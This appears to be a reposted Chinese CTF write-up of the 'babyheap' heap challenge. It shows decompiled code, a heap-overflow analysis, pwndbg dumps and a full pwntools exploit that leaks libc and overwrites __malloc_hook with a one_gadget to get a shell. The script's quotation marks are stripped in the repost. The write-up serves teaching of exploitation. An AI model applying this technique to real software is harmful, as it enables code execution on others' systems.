babyheap

Posted pfcode

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了babyheap相关的知识,希望对你有一定的参考价值。

64位程序,保护全开   #fastbin attack

技术图片

程序逻辑

 

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   __int64 v4; // [rsp+8h] [rbp-8h]
 4 
 5   v4 = sub_B70(a1, a2, a3);
 6   while ( 1 )
 7   {
 8     printmenu();
 9     sub_138C();
10     switch ( (unsigned __int64)off_14F4 )
11     {
12       case 1uLL:
13         allocnote(v4);
14         break;
15       case 2uLL:
16         fillnote(v4);
17         break;
18       case 3uLL:
19         freenote(v4);
20         break;
21       case 4uLL:
22         dumpnote(v4);
23         break;
24       case 5uLL:
25         return 0LL;
26       default:
27         continue;
28     }
29   }
30 }

分配函数如下,最多分配16个,最大4096字节,用的calloc,会将内存清空为0,。

 1 void __fastcall allocnote(__int64 a1)
 2 {
 3   signed int i; // [rsp+10h] [rbp-10h]
 4   signed int v2; // [rsp+14h] [rbp-Ch]
 5   void *v3; // [rsp+18h] [rbp-8h]
 6 
 7   for ( i = 0; i <= 15; ++i )
 8   {
 9     if ( !*(_DWORD *)(24LL * i + a1) )
10     {
11       printf("Size: ");
12       v2 = read_num();
13       if ( v2 > 0 )
14       {
15         if ( v2 > 4096 )
16           v2 = 4096;
17         v3 = calloc(v2, 1uLL);
18         if ( !v3 )
19           exit(-1);
20         *(_DWORD *)(24LL * i + a1) = 1;
21         *(_QWORD *)(a1 + 24LL * i + 8) = v2;
22         *(_QWORD *)(a1 + 24LL * i + 16) = v3;
23         printf("Allocate Index %d
", (unsigned int)i);
24       }
25       return;
26     }
27   }
28 }

可以看出结构体如下

1 00000000 chunk           struc ; (sizeof=0x18, mappedto_6)
2 00000000 inuse           dq ?
3 00000008 size            dq ?
4 00000010 ptr             dq ?
5 00000018 chunk           ends

在填充内容的功能中,使用读取内容的函数是直接读取指定长度的内容,并没有设置字符串结尾。而且比较有意思的是,这个指定长度是我们指定的,并不是之前 chunk 分配时指定的长度,所以这里就出现了任意堆溢出的情形。

 1 __int64 __fastcall fillnote(__int64 a1)
 2 {
 3   __int64 result; // rax
 4   int v2; // [rsp+18h] [rbp-8h]
 5   int v3; // [rsp+1Ch] [rbp-4h]
 6 
 7   printf("Index: ");
 8   result = sub_138C();
 9   v2 = result;
10   if ( (signed int)result >= 0 && (signed int)result <= 15 )
11   {
12     result = *(unsigned int *)(24LL * (signed int)result + a1);
13     if ( (_DWORD)result == 1 )
14     {
15       printf("Size: ");
16       result = sub_138C();
17       v3 = result;
18       if ( (signed int)result > 0 )
19       {
20         printf("Content: ");
21         result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
22       }
23     }
24   }
25   return result;
26 }

freenote模块中没有问题

 1 signed __int64 __fastcall freenote(__int64 a1)
 2 {
 3   signed __int64 result; // rax
 4   int v2; // [rsp+1Ch] [rbp-4h]
 5 
 6   printf("Index: ");
 7   result = sub_138C();
 8   v2 = result;
 9   if ( (signed int)result >= 0 && (signed int)result <= 15 )
10   {
11     result = *(unsigned int *)(24LL * (signed int)result + a1);
12     if ( (_DWORD)result == 1 )
13     {
14       *(_DWORD *)(24LL * v2 + a1) = 0;
15       *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
16       free(*(void **)(24LL * v2 + a1 + 16));
17       result = 24LL * v2 + a1;
18       *(_QWORD *)(result + 16) = 0LL;
19     }
20   }
21   return result;
22 }

dump即输出内容

 

利用思路

 

可以确定的是,我们主要有的漏洞就是任意长度堆溢出。由于该程序几乎所有保护都开启了,所以我们必须要有一些泄漏才可以控制程序的流程。基本利用思路如下

 

  • 利用 unsorted bin 地址泄漏 libc 基地址。
  • 利用 fastbin attack 将 chunk 分配到 malloc_hook 附近

 

 

首先看获取libc基地址的方法:
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了

由于我们是希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能是fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中。因此,我们这里构造一个 small bin chunk。在将该 chunk 释放到 unsorted bin 的同时,也需要让另外一个正在使用的 chunk 可以同时指向该 chunk 的位置。这样才可以进行泄漏。、

首先,我们申请了 5 个 chunk,并释放了两个 chunk,此时堆的情况如下。

 1 pwndbg> x/20gx 0x55a03ca22000
 2 0x55a03ca22000: 0x0000000000000000  0x0000000000000021 idx 0
 3 0x55a03ca22010: 0x0000000000000000  0x0000000000000000
 4 0x55a03ca22020: 0x0000000000000000  0x0000000000000021 idx 1
 5 0x55a03ca22030: 0x0000000000000000  0x0000000000000000
 6 0x55a03ca22040: 0x0000000000000000  0x0000000000000021 idx 2
 7 0x55a03ca22050: 0x000055a03ca22020  0x0000000000000000
 8 0x55a03ca22060: 0x0000000000000000  0x0000000000000021 idx 3
 9 0x55a03ca22070: 0x0000000000000000  0x0000000000000000
10 0x55a03ca22080: 0x0000000000000000  0x0000000000000091 idx 4
11 0x55a03ca22090: 0x0000000000000000  0x0000000000000000
12 pwndbg> fastbins
13 fastbins
14 0x20: 0x55a03ca22040 —? 0x55a03ca22020 ?— 0x0
15 0x30: 0x0
16 0x40: 0x0
17 0x50: 0x0
18 0x60: 0x0
19 0x70: 0x0
20 0x80: 0x0

当我们编辑 idx0 后,确实已经将其指向 idx4 了。这里之所以可以成功是因为堆的始终是 4KB 对齐的,所以 idx 4 的起始地址的第一个字节必然是 0x80。

修改成功后

 1 pwndbg> x/20gx 0x55a03ca22000
 2 0x55a03ca22000: 0x0000000000000000  0x0000000000000021
 3 0x55a03ca22010: 0x6161616161616161  0x6161616161616161
 4 0x55a03ca22020: 0x0000000000000000  0x0000000000000021
 5 0x55a03ca22030: 0x0000000000000000  0x0000000000000000
 6 0x55a03ca22040: 0x0000000000000000  0x0000000000000021
 7 0x55a03ca22050: 0x000055a03ca22080  0x0000000000000000
 8 0x55a03ca22060: 0x0000000000000000  0x0000000000000021
 9 0x55a03ca22070: 0x0000000000000000  0x0000000000000000
10 0x55a03ca22080: 0x0000000000000000  0x0000000000000091
11 0x55a03ca22090: 0x0000000000000000  0x0000000000000000
12 pwndbg> fastbins
13 fastbins
14 0x20: 0x55a03ca22040 —? 0x55a03ca22080 ?— 0x0
15 0x30: 0x0
16 0x40: 0x0
17 0x50: 0x0
18 0x60: 0x0
19 0x70: 0x0
20 0x80: 0x0

那么,当我们再次申请两个时,第二个申请到的就是 idx 4 处的 chunk。为了能够申请成功,我们需要确保 idx4 的 size 与当前 fastbin 的大小一致,所以,我们得修改它的大小。申请成功后,idx2 会指向 idx4。

之后,如果我们想要将 idx 4 放到 unsorted bin 中的话,为了防止其与 top chunk 合并,我们需要再次申请一个 chunk。此后再释放 idx4 就会进入 unsorted bin 中去了。此时由于 idx2 也指向这个地址,所以我们直接展示他的内容就可以得到 unsorted bin 的地址了。

malloc hook前利用字节错位伪造size,伪造0x60+0x10的chunk,fastbin中的chunk的fd改为fake_adr,下一次分配即分配fake_adr

由于 malloc hook 附近的 chunk 大小为 0x7f,所以数据区域为 0x60(根据以下表计算)。这里我们再次申请的时候,对应 fastbin 链表中没有相应大小 chunk,所以根据堆分配器规则,它会依次处理 unsorted bin 中的 chunk,将其放入到对应的 bin 中,之后会再次尝试分配 chunk,因为之前释放的 chunk 比当前申请的 chunk 大,所以可以从其前面分割出来一块。所以 idx2 仍然指向该位置,那么我们可以使用类似的办法先释放申请到的 chunk,然后再次修改 fd 指针为 fake chunk 即可。此后我们修改 malloc_hook 处的指针即可得到触发 onegadget。

 1         fastbin大小 64位下0x20-0x80(包括头部)
 2         (size不包括头部的0x10如下)
 3         Fastbins[idx=0, size=0x10]
 4         Fastbins[idx=1, size=0x20]
 5         Fastbins[idx=2, size=0x30]
 6         Fastbins[idx=3, size=0x40]
 7         Fastbins[idx=4, size=0x50]
 8         Fastbins[idx=5, size=0x60]
 9         Fastbins[idx=6, size=0x70]
10 
11         根据size计算index :define fastbin_index(sz)               ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
12         64位SIZE_SZ=8
13         32位SIZE_SZ=4
14         例:     64位下 size=0x7f(包含头部)
15             index= (0x7f>>4)-2=5

 

exploit

 

 1 from pwn import *
 2 sh=process(./babyheap)
 3 elf=ELF(./babyheap)
 4 libc=ELF(/lib/x86_64-linux-gnu/libc.so.6)
 5 
 6 def newnote(size):
 7     sh.recvuntil(Command: )
 8     sh.sendline(1)
 9     sh.recvuntil(Size: )
10     sh.sendline(str(size))
11 
12 def freenote(idx):
13     sh.recvuntil(Command: )
14     sh.sendline(3)
15     sh.recvuntil(Index: )
16     sh.sendline(str(idx))
17 
18 def dumpnote(idx):
19     sh.recvuntil(Command: )
20     sh.sendline(4)
21     sh.recvuntil(Index: )
22     sh.sendline(str(idx))
23     
24 def fillnote(idx,size,content):
25     sh.recvuntil(Command: )
26     sh.sendline(2)
27     sh.recvuntil(Index: )
28     sh.sendline(str(idx))
29     sh.recvuntil(Size: )
30     sh.sendline(str(size))
31     sh.recvuntil(Content: )
32     sh.sendline(content)
33 
34 newnote(0x10) #idx0
35 newnote(0x10) #idx1
36 newnote(0x10) #idx2
37 newnote(0x10) #idx3
38 newnote(0x80) #idx4
39 freenote(1)
40 freenote(2)
41 
42 payload=p64(0)*3
43 payload+=p64(0x21)
44 payload+=p64(0)*3
45 payload+=p64(0x21)
46 payload+=p8(0x80)
47 fillnote(0,len(payload),payload)
48 
49 payload=p64(0)*3
50 payload+=p64(0x21)
51 fillnote(3,len(payload),payload) #修改大小满足fastbin ,之后申请使idx2也指向idx
52 
53 newnote(0x10)   #idx1
54 newnote(0x10)  #idx2,idx4指向的同一地址
55 
56 payload=p64(0)*3
57 payload+=p64(0x91)
58 fillnote(3,len(payload),payload) #修改回原来大小,释放进入unsorted bin
59 
60 newnote(0x80) #防止idx4和top chunk合并 idx5
61 freenote(4) #idx4 进入unsorted bin,fd,bk指向main_arena+0x58 
62 dumpnote(2) #输出main_arena+0x58
63 sh.recvuntil(Content: 
)
64 ret=sh.recvline()[:-1]
65 
66 main_arena_off=0x3c4b20 #gdb可以直接查看
67 
68 libc_base=u64(ret[-8:].ljust(8,x00))-0x58-main_arena_off
69 print libc_base: +hex(libc_base)
70 
71 malloc_hook=libc.symbols[__malloc_hook]+libc_base
72 print malloc_hook: +hex(malloc_hook)
73 
74 newnote(0x60) #idx4
75 freenote(4)
76 
77 fake_adr=0x3c4aed    #此处伪造大小为(0x60+0x10)的chunk
78 payload=p64(libc_base+fake_adr)
79 fillnote(2,len(payload),payload) #将idx的fd改为fake_adr,下下次申请内存时分配fake_adr
80 
81 newnote(0x60) #idx4
82 newnote(0x60) #idx6  指向fake_adr处
83 
84 one_gadget=0x4526a
85 payload=p8(0)*3
86 payload+=p64(0)*2
87 payload+=p64(libc_base+one_gadget)
88 fillnote(6,len(payload),payload)   #将__malloc_hook地址改为one_gadget
89 
90 newnote(255)  #触发
91 
92 sh.interactive()

 

以上是关于babyheap的主要内容,如果未能解决你的问题,请参考以下文章

wdb_2018_1st_babyheap

0ctf2017-babyheap

babyheap_fastbin_attack

babyheap

0ctf_2017_babyheap

FastBinAttack实战babyheap_0ctf_2017